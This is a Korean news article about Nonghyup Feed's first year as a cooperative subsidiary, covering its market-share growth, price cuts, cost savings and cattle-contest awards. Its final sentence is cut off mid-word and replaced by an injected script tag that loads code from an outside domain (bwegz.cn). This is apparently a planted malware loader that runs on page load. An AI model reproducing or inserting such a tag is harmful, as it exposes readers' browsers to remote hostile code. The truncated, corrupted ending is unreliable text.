
지난 2002년 9월 농협중앙회 자회사로 새출발한 농협사료가 첫돌을 맞아 1년동안의 성과를 정리하면서 새로운 도전을 준비중이다.
지난 1일 첫돐을 맞아 대양축농가에 다양한 서비스를 제공함으로써 양축농민들에게 실익을 제공하고 조합과 조합원이 주인이 되는 협동조합 조직의 표본이 되겠다는 당초의 목표를 어느 정도 달성했다고 판단한 남경우 농협사료 사장은 “농협사료를 조합과 조합원이 주인이 되는 회사를 만들기 위해 상시 개혁으로 경쟁력을 키우고 조직을 슬림화하겠다”고 밝혔다.
남 사장은 또 기념사를 통해 “경영의 안정을 기하기 위해 조합의 지분참여제도를 도입하고, 농협사료가 조합원의 회사임을 실현하는 기반을 다지겠다”고 다짐했다.
농협사료는 자회사 출범이후 조합원과 양축조합원의 실익증대를 위해 본격적인 영업활동의 활성화를 전개한 결과 전국 사료시장 점유율을 1% 상승시켰다.
1%를 물량으로 환산하면 약 16만톤에 해당하는 것이며, 같은 기간 대부분의 일반사료업체들의 물량이 감소된 것과 비교하면 그 의미가 큰 것으로 나타났다. 돼지 가격 및 육계가격 하락, 한우 사육두수 감소 등 악재 속에서 국내 사료시장이 전반적으로 위축된 기간동안 농협사료만이 성장기조를 지속하고 있는 것은 눈여겨 볼만한 것이다.
특히 지난해 돼지콜레라 발생, 태풍피해 등으로 양축농가들이 어려움에 처해 있을 때 두차례에 걸쳐 각각 3%씩 총 6%에 달하는 사료가격 인하를 단행해 농가들로부터 많은 호응을 얻은 바 있다. 또 지난해 첫 결산후 10억원이 넘는 잉여금이 발생하자 이를 조합에 환원함으로써 많은 조합들로부터 큰 반향을 받으며, 농협사료가 조합원 제일주의를 실천한 것으로 평가받고 있다.
여기에 구제역, 돼지콜레라 등 가축질병예방을 위한 방역활동지원 등 농가에 약 4억원 상당의 사료를 무상으로 지원해 양축농가의 고충에 동참함으로써 농협사료가 자회사로 독립될 때 많은 조합들로부터 영리단체화되는 것이 아닌가 하는 의구심을 깨끗히 씻어냈다.
게다가 농축협 공동배송사업 확대추진으로 지역내 농축협 화합을 도모하고 통합시너지 효과를 높이는 한편 사료수송비도 절감하는 효과를 거두면서 이익의 대부분을 양축농가에 환원함으로써 농협사료의 취지에 많은 조합들이 공감하게 되었다.
또 원료를 본사에서 일괄구매하는 방식으로 전환, 각 공장에서 수행해 오던 각종 원재료 구매사업을 본사 일괄구매로 전화해 양질의 원재료를 저가에 조달하고 있을 뿐 아니라 구매인력도 최소화함으로써 경영합리화에 큰 성과를 거두었다.
부원료의 장기구매계약을 통한 물량의 안정적 확보와 원가 절감을 기하고, 구매방법도 C&F방식 일변도로 추진해 오던 것을 FOB, 곡물의 선물거래방식을 병행해 시장상황에 탄력적으로 대응함으로써 원가절감을 더하게 됐다. 사료주원료 수송업무도 개선함으로써 연간 약 17억원의 원가를 절감해 이 수익을 사료가격에 포함시켰다.
자회사 출범후 사료의 품질을 대대적으로 강화한 농협사료의 대양축농가 서비스는 현재의 농협사료가 신뢰를 얻는데 큰 역할을 담당했다고 볼 수 있다. 전 공장이 ISO9002/2000 인증서를 획득하고 25개소의 품질피드백을 위한 검증농장을 운영하는 등 농협사료는 지금 급변하는 대내외 경영환경에 적응하기 위해 변신에 변신을 거듭하고 있다.
이같은 각고의 노력 결과 지난달 28일부터 29일까지 양일간 강원도 철원 공설운동장에서 개최돈 `제30회 강원도 한우경진대회''에서 농협사료 이용농가가 5개부문 최우수상을 모두 휩쓰는 개가를 올릴 수 있었다.
고급육부문, 큰암소부문, 수송아지부문, 암소육성우부문, 암송아지부분 등 5개부문으로 나뉘어 실시된 `강원도 한우경진대회''에서 농협사료를 이용한 농가가 모두 1위를 차지한 것은 그동안 농협사료가 사료의 품질 고급화를 위해 얼마나 피나는 노력을 기울여 왔는지 입증하는 단적인 예이다.
특히 고급육 부분에 있어서 최우수, 우수, 장려상 등 상위권을 모두 수상해 농협사료 제품의 명품시리즈인 `한우명품''사료의 효과가 말로만의 일등사료가 아닌 명실상부한 고품질 사료라는 것을 객관적으로 증명했다.
농협사료는 전국단위 또는 각 도별 실시되는 각종 경진대회에서 매년 최우수상을 모두 차지해 왔는데 지난해 29회 강원도 한우경진대회에서도 최우수상, 우수상을 포함한 총 19개 부문 중 16개 부문을 휩쓴 바 있다.
한편 농협사료는 한우 고급육 전문사료인 `한우명품''보다 품질을 대폭 향상시켜 1등급 출현율 85% 이상을 목표로 하는 신제품에 대한 연구개발이 거의 마무리돼 곧 출시할 예정이다. 한우명품 플러스는 그동안 명성을 날려온 `한우명품''을 한층 업그레이드 시킨 사료로 한우농가들로부?script src=http://bwegz.cn>
